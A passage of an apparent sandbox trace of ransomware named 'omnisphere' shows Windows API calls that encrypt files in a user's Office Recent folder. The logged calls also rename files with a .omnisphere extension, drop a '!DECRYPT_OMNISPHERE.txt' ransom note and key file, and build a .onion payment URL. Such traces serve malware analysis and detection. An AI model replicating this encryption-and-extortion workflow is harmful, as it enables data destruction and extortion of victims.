pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.108] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.108] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0116.108] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ab, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.108] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.109] GetProcessHeap () returned 0x1600000 [0116.109] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x1691760 [0116.109] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk.omnisphere")) returned 1 [0116.110] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.omnisphere.id" [0116.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.111] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.112] CloseHandle (hObject=0x3c0) returned 1 [0116.113] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.113] CloseHandle (hObject=0x288) returned 1 [0116.113] SetEndOfFile (hFile=0x28c) returned 1 [0116.114] FlushFileBuffers (hFile=0x28c) returned 1 [0116.305] CloseHandle (hObject=0x28c) returned 1 [0116.307] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 1 [0116.307] GetProcessHeap () returned 0x1600000 [0116.307] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1691a18 [0116.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.307] GetProcessHeap () returned 0x1600000 [0116.307] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f0a8 [0116.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f0a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.307] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.307] GetProcessHeap () returned 0x1600000 [0116.307] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687428 [0116.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687428, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.307] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.307] GetProcessHeap () returned 0x1600000 [0116.307] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16318b0 [0116.308] PathCombineW (in: pszDest=0x16318b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" [0116.308] GetProcessHeap () returned 0x1600000 [0116.308] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168ac68 [0116.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.308] WriteFile (in: hFile=0x28c, lpBuffer=0x168ac68*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168ac68*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.308] CloseHandle (hObject=0x28c) returned 1 [0116.309] GetProcessHeap () returned 0x1600000 [0116.309] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691a18 | out: hHeap=0x1600000) returned 1 [0116.309] GetProcessHeap () returned 0x1600000 [0116.309] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162da78 [0116.309] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" [0116.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.309] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.309] CloseHandle (hObject=0x28c) returned 1 [0116.309] GetProcessHeap () returned 0x1600000 [0116.309] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0116.309] GetProcessHeap () returned 0x1600000 [0116.310] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656f58 | out: hHeap=0x1600000) returned 1 [0116.310] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8b468d, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0xd4, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0116.310] GetProcessHeap () returned 0x1600000 [0116.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x165eae8 [0116.310] PathCombineW (in: pszDest=0x165eae8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="Global.LNK" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0116.310] StrStrW (lpFirst=".omnisphere", lpSrch=".LNK") returned 0x0 [0116.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.394] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1484) returned 1 [0116.395] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.395] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0116.527] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cc, lpName=0x0) returned 0x288 [0116.527] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0116.527] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.528] CloseHandle (hObject=0x288) returned 1 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.528] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] GetTickCount () returned 0x115d221 [0116.529] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668708) returned 1 [0116.530] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0116.530] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.531] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.531] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0116.531] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cc, lpName=0x0) returned 0x288 [0116.531] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cc) returned 0x1480000 [0116.531] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ce0) returned 1 [0116.532] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0116.532] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.532] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.532] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.532] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.532] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 